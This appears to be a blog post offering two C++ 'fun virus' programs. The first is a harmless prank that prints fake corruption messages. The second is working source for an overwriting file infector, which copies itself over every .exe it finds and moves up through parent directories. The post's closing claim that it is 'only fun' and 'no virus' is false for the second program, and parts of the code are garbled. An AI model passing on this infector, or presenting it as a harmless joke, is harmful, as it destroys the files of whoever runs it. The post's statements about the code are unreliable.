FUN VIRUS

A virus program in C++ language is attacking hard disk,memory and corrupting processor.

Example :

PROGRAM 1:

void fool();
void main()
{
clrscr();
for(int i=0;i<=100;i++)
{

textcolor(YELLOW+BLINK);
gotoxy(35,12);
cprintf("VIRUS LOADING");
gotoxy(39,15);
textcolor(GREEN);
cout<<<"%";
delay(75);
clrscr();
}
delay(100);
clrscr();
flushall();
gotoxy(20,12);
cout<<" '143' VIRUS CREATED NOW BY SIMPLECPP.BLOGSPOT.COM";
gotoxy(20,14);
cout<<"SAY GOOD BYE TO YOUR PC IN ";
for(int j=10;j>=0;j--)
{
gotoxy(48,14);
cout<<<">
delay(1000);
}
clrscr();
cout<<"
1.HARD-DISK CORRUPTION: ";
delay(4000);
cout<<"completed";
cout<<"

2.MOTHER BOARD CORRUPTION: ";
delay(4000);
cout<<"completed";
cout<<"

3.INSTALLING CYBERBOB.DLL -->WINDOWS/COMMAND :";
delay(4000);
cout<<"completed";
cout<<"

PROCRAETORIAN.SYS SUCCESSFULLY PLANTED";
delay(3000);
cout<<"

VIRUS.EXE";
delay(2000);
cout<<"
*************************";
cout<<"
Buddy it's a simply joke ";
delay(4000);
delay(10000);
}

void fool()
{
clrscr();
int g=DETECT,h;
initgraph(&g,&h,"c:\tc\bgi");
cleardevice();
delay(1000);
setcolor(2);
settextstyle(1,0,1);
delay(1000);
setbkcolor(BLUE);
getch();
delay(4000);
closegraph();
exit(0);
}

PROGRAM 2:

void main(int argc,char *argv[])
{
int bytes,i,done;
FILE *virus,*host;
struct ffblk *f;
char buffer[512];
do
{
done=findfirst("*.exe",f,0);
while(!done)
{
virus=fopen(argv[0],"rb");//open the virus in read mode
host=fopen(f->ff_name,"rb+");//open the host file in r/w mode

for(;fread(buffer,512,1,virus)==1;)

fwrite(buffer,512,1,host);
fclose(host);
fseek(virus,0,0);//points to begining of virus
printf("infecting %s
",f->ff_name);
done=findnext(f);
}
}
while(!chdir(".."));

NOTE:

• Using header files are iostream.h,dos.h,process.h,graphics.h.
• this program only fun.but no virus.